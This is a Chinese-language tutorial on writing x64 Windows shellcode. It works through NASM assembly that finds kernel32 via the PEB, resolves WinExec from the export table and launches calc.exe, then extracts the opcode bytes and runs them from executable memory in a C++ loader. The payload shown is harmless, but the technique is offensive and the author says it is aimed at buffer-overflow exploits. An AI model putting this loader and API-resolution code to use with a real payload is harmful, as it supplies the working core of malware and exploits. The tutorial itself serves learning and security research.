写在前面的话
我最近在研究一些安全软件的源码，涉及到一些汇编与shellcode代码，有些知识点有点生疏了，特准备此系列专题文章，一方面帮助自己重拾汇编与shellcode相关知识点，另一方面希望对感兴趣的小伙伴有所帮助。
必须承认，我在互联网上四处搜寻x64基础 shellcode 开发的示例，但收获不大。许多教程和课程似乎仍侧重于x86汇编，甚至许多现代的shellcode课程也仍以x86为主。别误会，x86很棒，学习曲线也没那么陡峭。但在你的渗透测试之旅中，大多数有效载荷将基于x64架构，这是有区别的！我希望提供一系列循序渐进的课程，帮助读者你获得必要的资源和知识，以便顺利学习x64汇编/shellcode开发，尽量少走弯路。那么，我们开始吧，好吗？
声明 - 说到x64汇编语言，我可不是专家。但我所掌握的知识，至少足以指导那些有兴趣的人学习基础知识，并生成可用于漏洞利用开发、逆向工程概念和渗透测试项目的可用shellcode。
最后，NASM（The Netwide Assembler）汇编语法将作为我们x64汇编编码需求的首选语法。让我们开始吧！🐱
第1部分 - x64 基础知识：寄存器
好的，让我们先把那些枯燥但至关重要的信息讲清楚。在x64汇编中，有两种类型的寄存器值：
-
易失性（Volatile）寄存器：适用于寄存器RAX、RCX、RDX、R8、R9、R10、R11 -
非易失性（Non-Volatile）寄存器：RBX、RBP、RDI、RSI、R12、R13、R14、R15、RSP
Volatile寄存器正如其名，会根据函数调用等情况改变值。
Non-Volatile寄存器在函数调用后不会改变值，并且可以可靠地用于存储你的代码中需要的数值。
寄存器 RCX、RDX、R8 和 R9 按此确切顺序用作参数。例如，当你执行 ExitProcess 并将第一个参数 0 传递给函数调用时，你会使用寄存器 RCX，如下所示：
; --- GetProcess ---
mov r15, rax ;address for GetProcess previously acquired
mov rcx, 0 ;move '0' into the first and only expected parameter
call r15 ;Execute GetProcess!!!
如果有多个参数怎么办呢？嗯，那会将RCX用作第一个参数，RDX用作第二个参数。如果你还有第三个和第四个参数值，那么将分别使用r8和r9。以下是WinExec的x64汇编代码，将应用程序字符串传入RCX，将值“1”传入RDX。如果应用程序有窗口/图形用户界面要显示，1就相当于“显示窗口”。
; --- WinExec ---
pop r15 ;address for WinExec previously acquired
mov rax, 0x00 ;NULL byte
push rax ;push to stack
mov rax, 0x6578652E636C6163 ;calc.exe
push rax ;push to stack
mov rcx, rsp ; RCX, our first parameter, now points to the string of the application we wish to execute: "calc.exe"
mov rdx, 1 ; move 1 into RDX as the 2nd parameter to display the application's GUI/window
sub rsp, 0x30 ; I'll explain this in greater detail later. It involves shadow space/16 byte stack alignment
call r15 ; Execute WinExec!!!
四个参数都用上怎么样？我们可以用MessageBoxA来演示一下：
mov r15, rax ; MessageBoxA address previously acquired
mov rcx, 0 ; 1st Parameter - hWnd = NULL (no owner window)
mov rax, 0x006D ; move the final letter, m, into RAX and null terminate with a '0'
push rax ; push 'm' and 0 to the stack, pointed to by RAX
mov rax, 0x3374737973743367 ; move the first 8 characters of the string 'g3tsyst3' into RAX.
push rax ; push 'g3tsyst3' string to the stack, pointed to by RAX
mov rdx, rsp ; 2nd Parameter - lpText = pointer to message
mov r8, rsp ; 3rd Parameter - lpCaption = pointer to title
mov r9d, 0 ; 4th Parameter - uType = MB_OK (OK button only)
sub rsp, 0x30 ;I'll explain this in greater detail later. It involves shadow space/16 byte stack alignment
call r15 ; Call MessageBoxA
请注意我是如何使用寄存器 R15 来存储API的地址值的。我选择这个寄存器是因为和它的其他同类寄存器R14、R13和R12一样，它是非易失性的，这意味着在函数调用后它不会被改变。当你需要保留一个尚未压入堆栈的值时，这些非易失性寄存器至关重要。这里有一个函数调用前后寄存器值的示例。请注意，所有易失性寄存器的值都如预期般发生了变化，但R15保持不变。
调用前：
函数调用结束后：
好的！以上就是对x64寄存器的大致解析。接下来继续！
第1部分 - x64基础知识：栈对齐
我保证，枯燥的内容就快讲完了。有趣的部分马上就来。😺 好啦，继续往下讲。咱们来聊聊 16 byte stack alignment convention。如果你觉得这听起来像天书，别担心，虽然实现起来有点繁琐，但相当简单明了。我会尽可能简单地讲解。
在x64汇编中，栈以16字节边界运行。在进行函数调用之前，栈需要根据这一原则进行对齐。
简单来说，在进行函数调用之前，RSP必须能被16整除。
不必只关注16字节对齐时RSP的具体值，你可以将此要求理解为栈指针（RSP）需要位于任何能被16整除的地址上（即0x10、0x20、0x30等）。这意味着，任何使得RSP % 16 == 0的 RSP 值都被视为是对齐的。
整除示例：
PUSH和CALL是会使栈指针递减8字节的指令示例。POP会使栈指针递增8字节。这将改变栈对齐方式。例如：
执行POP指令之前，RSP的十位数值是0x88，即十进制的136。这个数不能被16整除（136/16 = 8.5）。 然而…
在执行POP指令后（该指令会使RSP增加8字节），栈又恢复到了16字节对齐的状态。
现在，RSP的十位保存着十六进制值0x90，十进制为144，且能被16整除（144/16 = 9）！仔细想想，这本质上非常数学化。不管你喜欢还是讨厌，这都是x64汇编的一部分，但它并不像看上去那么痛苦。在整个代码过程中，最好让堆栈保持对齐状态，不过在函数调用之前保持对齐尤为重要。如果堆栈没有正确对齐，你的代码很可能会跳转到内存中意想不到的位置并导致失败。
第1部分 - x64 基础：影子空间（Shadow Space）
好的，希望你还能坚持读到这里，而且目前为止一切都能理解。如果还有什么不太明白的地方，可以给我发私信。好了，我保证我们马上就要讲完这篇文章x64基础部分啦！🐶 现在我们来谈谈Shadow Space，也叫home space / 或叫spill space。
**在Windows x64调用约定中，调用方需要为被调用方预留32字节（4个8字节的槽位）作为shadow space**，即使函数并不需要它。这个空间是预留的，但不会自动调整，除非使用诸如sub rsp, 0x20或其他指令显式处理。
函数经常需要额外的栈空间来存放局部变量并进行进一步对齐。你可能会看到sub rsp, 0x30，甚至像sub rsp, 0x40这样更大的调整，以便在函数调用前分配影子空间和额外空间。我在自己的代码中经常这样做。再次强调，这有助于确保当函数需要将预期值以及可能的非预期值压入栈中时，有足够的空间，并且有助于确保RSP始终保持16字节对齐。这里有一个示意图，能帮助你更好地理解这一点。
首先，我将注释掉函数调用前的影子空间分配，看看会发生什么：
GetProcAddress(hKernel32, "LoadLibraryA");
然后编译它（我喜欢用ld.exe来编译我的x64汇编代码）：
>nasm -fwin64 getproc.asm
>ld -m i386pep -o getproc.exe getproc.obj
RCX存放着kernel32的基地址，RDX存放着指向我们的"LoadLibraryA"字符串的指针，而 R15存放着GetProcAddress的地址：
如果我们在函数调用前完全忽略设置任何影子空间，似乎通常会放入RAX的返回值就无法正常工作。如果函数调用后RAX为0，这通常不是好事。我们放在栈上的参数和其他数据，在没有我们应该提供给函数的正常预留空间的情况下，很可能被破坏了。看看这个：
函数调用前：
函数调用后：
好吧，这证明了如果不设置适当的影子空间储备，事情会变得多么糟糕。我们现在就这么做，看看情况会不会对我们更有利：😸
现在，我们将添加影子空间，在同一位置重新编译和反汇编程序，看看会发生什么：
中啦！ 就在这儿，如我们所愿找到了LoadLibraryA这个Windows API的地址。 就在那里，在RAX寄存器中热切地等待着我们。 你还会看到我们对影子空间堆栈的调整：
我可以不断地讲述减轻潜在影子空间问题的方法。但这会让你很好地了解预期情况，以及如何为使用x64 16字节堆栈对齐和影子空间要求的函数调用做准备。如果你想了解更多关于这个主题的信息，一如既往地在X上联系我，我可以更详细地讨论这个问题。既然我们已经对x64汇编的寄存器和堆栈对齐要求有了一个很好的概述，那么让我们深入到这篇文章的下一部分。
第2部分 - x64首个程序：动态定位WinExec并执行calc.exe
在处理完所有必要的乏味事务后，我们终于要开始做令人兴奋的事了。
好的，我将基于这样一个假设，即你已经熟悉了一些常规的x64指令。如果还不熟悉，也不用担心！我会添加注释，以帮助解释你应该熟悉的最常见指令，并帮助你理解它们的工作原理。此外，我还假设你知道定位kernel32基地址以及遍历PE文件（可执行文件）的导出表以查找函数/API名称的序号的基本模板是什么。如果有机会，我建议你熟悉一下PE导出表，但目前你可以直接在我的模板基础上进行操作。
让我们从定位kernel32基地址开始。这实际上非常简单！
;nasm -fwin64 [x64findkernel32.asm]
;ld -m i386pep -o x64findkernel32.exe x64findkernel32.obj
BITS 64
SECTION .text
global main
main:
sub rsp, 0x28
and rsp, 0xFFFFFFFFFFFFFFF0
xor rcx, rcx ;RCX = 0
mov rax, [gs:rcx + 0x60] ;RAX = PEB
mov rax, [rax + 0x18] ;RAX = PEB / Ldr
mov rsi,[rax+0x10] ;PEB_Ldr / InLoadOrderModuleList
mov rsi, [rsi] ;could substitute lodsq here instead if you like
mov rsi,[rsi] ;also could substitute lodsq here too
mov rbx, [rsi+0x30] ;kernel32.dll base address
mov r8, rbx ;mov kernel32.dll base addr into register of your choosing
好的，kernel32 base address 现在存于 r8 中。r8 是一个 易失性 寄存器，所以如果你需要多次使用这个寄存器，一定要将该寄存器保存的值转移到另一个寄存器中，因为在你第一次调用函数后，该值几乎肯定会被覆盖。我们来测试一下，看看是否能获取到kernel32基地址。果然，它就在 RBX 中，并且也在我们复制到的 R8 中：
既然我们已经获取了kernel32的基地址，那我们接着获取函数总数以及相对虚拟地址（RVA）/虚拟内存地址（VMA）的信息：
;Code for parsing Export Address Table
mov ebx, [rbx+0x3C] ; Get Kernel32 PE Signature (0x3C) into EBX
add rbx, r8 ; signature offset
mov edx, [rbx+0x88] ; PE32 Signature / Export Address Table
add rdx, r8 ; kernel32.dll + RVA ExportTable = ExportTable Address
mov r10d, [rdx+0x14] ; Total count for number of functions
xor r11, r11 ; clear R11
mov r11d, [rdx+0x20] ; AddressOfNames = RVA
add r11, r8 ; AddressOfNames = VMA
接下来，让我们插入我们要查找的函数名，并设置函数计数器：
mov rcx, r10 ; Setup loop counter
mov rax, 0x00636578456E6957 ;"WinExec" string NULL terminated with a '0'
push rax ;push to the stack
mov rax, rsp ;move stack pointer to our WinExec string into RAX
add rsp, 8 ;keep with 16 byte stack alignment
现在，让我们找出 WinExec 函数：
; Loop over Export Address Table to find WinApi names
kernel32findfunction:
jecxz FunctionNameNotFound ; If ecx is zero (function not found), set breakpoint
xor ebx,ebx ; Zero EBX
mov ebx, [r11+rcx*4] ; EBX = RVA for first AddressOfName
add rbx, r8 ; RBX = Function name VMA / add kernel32 base address to RVA to get WinApi name
dec rcx ; Decrement our loop by one, this goes from Z to A
mov r9, qword [rax] ; R9 = "WinExec"
cmp [rbx], r9 ; Compare all bytes
jz FunctionNameFound ; jump if zero flag is set (found function name!)
jnz kernel32findfunction ; didn't find the name, so keep loopin til we do!
FunctionNameFound:
push rcx ; found it, so save it for later
jmp OrdinalLookupSetup
FunctionNameNotFound:
int3
现在是代码的最后一部分：
OrdinalLookupSetup: ;We found our target WinApi position in the functions lookup
pop r15 ;getprocaddress position
js OrdinalLookup
OrdinalLookup:
mov rcx, r15 ; move our function's place into RCX
xor r11, r11 ; clear R11 for use
mov r11d, [rdx+0x24] ; AddressOfNameOrdinals = RVA
add r11, r8 ; AddressOfNameOrdinals = VMA
; Get the function ordinal from AddressOfNameOrdinals
inc rcx
mov r13w, [r11+rcx*2] ; AddressOfNameOrdinals + Counter. RCX = counter
;With the function ordinal value, we can finally lookup the WinExec address from AddressOfFunctions.
xor r11, r11
mov r11d, [rdx+0x1c] ; AddressOfFunctions = RVA
add r11, r8 ; AddressOfFunctions VMA in R11. Kernel32+RVA for function addresses
mov eax, [r11+r13*4] ; function RVA.
add rax, r8 ; Found the WinExec Api address!!!
push rax ; Store function addresses by pushing it temporarily
js executeit
看看我们的WinExec API地址现在是否在RAX中：
果然，它在那里！
现在，让我们使用新找到的WinExec地址来执行calc.exe！
executeit:
; --- prepare to call WinExec ---
pop r15 ;address for WinExec
mov rax, 0x00 ;push null string terminator '0'
push rax ;push it onto the stack
mov rax, 0x6578652E636C6163 ; move string 'calc.exe' into RAX
push rax ; push string + null terminator to stack
mov rcx, rsp ; RDX points to stack pointer "WinExec" (1st parameter))
mov rdx, 1 ; move 1 (show window parameter) into RDX (2nd parameter)
sub rsp, 0x30 ; align stack 16 bytes and allow for proper setup for shadow space demands
call r15 ; Call WinExec!!
我这里就不给计算器程序拍照啦。相信我，它加载出来了😸 然而!!! 这个编译后的程序不能正常退出，因为我们没有加载 ExitProcess。这可以作为你的作业。试着利用这篇文章中获取的信息，找到定位ExitProcess（它也在kernel32.dll中）的方法，并干净利落地退出这个程序。好了，进入我们的最后一部分……
第3部分 - 转换为x64 shellcode：执行自定义shellcode
首先，继续编译它：
nasm.exe -f win64 winexec.asm -o winexec.o
这将生成一个.obj文件。现在，只需执行以下操作：
objdump -d winexec.o
你应该获取你的shellcode输出以及汇编指令。这是我的输出示例。
Disassembly of section .text:
0000000000000000 <main>:
0: 48 83 ec 28 sub $0x28,%rsp
4: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp
8: 48 31 c9 xor %rcx,%rcx
b: 65 48 8b 41 60 mov %gs:0x60(%rcx),%rax
10: 48 8b 40 18 mov 0x18(%rax),%rax
14: 48 8b 70 10 mov 0x10(%rax),%rsi
18: 48 8b 36 mov (%rsi),%rsi
1b: 48 8b 36 mov (%rsi),%rsi
1e: 48 8b 5e 30 mov 0x30(%rsi),%rbx
22: 49 89 d8 mov %rbx,%r8
25: 8b 5b 3c mov 0x3c(%rbx),%ebx
28: 4c 01 c3 add %r8,%rbx
2b: 8b 93 88 00 00 00 mov 0x88(%rbx),%edx
31: 4c 01 c2 add %r8,%rdx
34: 44 8b 52 14 mov 0x14(%rdx),%r10d
38: 4d 31 db xor %r11,%r11
3b: 44 8b 5a 20 mov 0x20(%rdx),%r11d
3f: 4d 01 c3 add %r8,%r11
42: 4c 89 d1 mov %r10,%rcx
45: 48 b8 57 69 6e 45 78 movabs $0x636578456e6957,%rax
4c: 65 63 00
4f: 50 push %rax
50: 48 89 e0 mov %rsp,%rax
53: 48 83 c4 08 add $0x8,%rsp
57: eb 00 jmp 59 <kernel32findfunction>
0000000000000059 <kernel32findfunction>:
59: 67 e3 19 jecxz 75 <FunctionNameNotFound>
5c: 31 db xor %ebx,%ebx
5e: 41 8b 1c 8b mov (%r11,%rcx,4),%ebx
62: 4c 01 c3 add %r8,%rbx
65: 48 ff c9 dec %rcx
68: 4c 8b 08 mov (%rax),%r9
6b: 4c 39 0b cmp %r9,(%rbx)
6e: 74 02 je 72 <FunctionNameFound>
70: 75 e7 jne 59 <kernel32findfunction>
0000000000000072 <FunctionNameFound>:
72: 51 push %rcx
73: eb 01 jmp 76 <OrdinalLookupSetup>
0000000000000075 <FunctionNameNotFound>:
75: cc int3
0000000000000076 <OrdinalLookupSetup>:
76: 41 5f pop %r15
78: 78 00 js 7a <OrdinalLookup>
000000000000007a <OrdinalLookup>:
7a: 4c 89 f9 mov %r15,%rcx
7d: 4d 31 db xor %r11,%r11
80: 44 8b 5a 24 mov 0x24(%rdx),%r11d
84: 4d 01 c3 add %r8,%r11
87: 48 ff c1 inc %rcx
8a: 66 45 8b 2c 4b mov (%r11,%rcx,2),%r13w
8f: 4d 31 db xor %r11,%r11
92: 44 8b 5a 1c mov 0x1c(%rdx),%r11d
96: 4d 01 c3 add %r8,%r11
99: 43 8b 04 ab mov (%r11,%r13,4),%eax
9d: 4c 01 c0 add %r8,%rax
a0: 50 push %rax
a1: 78 00 js a3 <executeit>
00000000000000a3 <executeit>:
a3: 41 5f pop %r15
a5: b8 00 00 00 00 mov $0x0,%eax
aa: 50 push %rax
ab: 48 b8 63 61 6c 63 2e movabs $0x6578652e636c6163,%rax
b2: 65 78 65
b5: 50 push %rax
b6: 48 89 e1 mov %rsp,%rcx
b9: ba 01 00 00 00 mov $0x1,%edx
be: 48 83 ec 30 sub $0x30,%rsp
c2: 41 ff d7 call *%r15
现在让我们提取 shellcode：
for i in $(objdump -D winexec.o | grep “^ “ | cut -f2); do echo -n “\x$i” ; done
只提取机器码后的样子如下：
“\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b” “\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89” “\xd8\x8b\x5b\x3c\x4c\x01\xc3\x8b\x93\x88\x00\x00\x00\x4c\x01\xc2\x44\x8b” “\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57” “\x69\x6e\x45\x78\x65\x63\x00\x50\x48\x89\xe0\x48\x83\xc4\x08\xeb\x00\x67” “\xe3\x19\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c” “\x39\x0b\x74\x02\x75\xe7\x51\xeb\x01\xcc\x41\x5f\x78\x00\x4c\x89\xf9\x4d” “\x31\xdb\x44\x8b\x5a\x24\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d” “\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x43\x8b\x04\xab\x4c\x01\xc0\x50\x78” “\x00\x41\x5f\xb8\x00\x00\x00\x00\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78” “\x65\x50\x48\x89\xe1\xba\x01\x00\x00\x00\x48\x83\xec\x30\x41\xff\xd7”;
现在，这一切的最后一步。让我们将x64 shellcode添加到一个自定义的C++程序中并执行它！
#include <windows.h>
#include <iostream>
unsigned char shellcode[] =
"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60"
"\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b"
"\x5e\x30\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x8b\x93\x88\x00\x00"
"\x00\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d"
"\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65\x63\x00\x50"
"\x48\x89\xe0\x48\x83\xc4\x08\xeb\x00\x67\xe3\x19\x31\xdb\x41\x8b"
"\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b\x74\x02"
"\x75\xe7\x51\xeb\x01\xcc\x41\x5f\x78\x00\x4c\x89\xf9\x4d\x31\xdb"
"\x44\x8b\x5a\x24\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d"
"\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x43\x8b\x04\xab\x4c\x01\xc0"
"\x50\x78\x00\x41\x5f\xb8\x00\x00\x00\x00\x50\x48\xb8\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x50\x48\x89\xe1\xba\x01\x00\x00\x00\x48\x83"
"\xec\x30\x41\xff\xd7";
int main() {
// 注意标志位PAGE_EXECUTE_READWRITE，给这段空间的数据设置为具有读写和可执行权限
void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec_mem == nullptr) {
std::cerr << "Memory allocation failed\n";
return -1;
}
memcpy(exec_mem, shellcode, sizeof(shellcode));
auto shellcode_func = reinterpret_cast<void(*)()>(exec_mem);
shellcode_func();
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
信不信由你，我们才刚刚热身！我希望你和我一样兴奋，因为下一部分将介绍如何去除空字节（NULL bytes），这样我们就能在缓冲区溢出漏洞利用中使用这段 shellcode 啦！😸 我也希望这部分内容能让你有所收获，并且还算容易理解。我花了不少时间才把所有信息整合起来感谢大家！下一篇文章我们将专注于去除空字节 “00”，并学习如何使用 “GetProcAddress” 动态定位函数，然后弹出一个消息框。到时候见！
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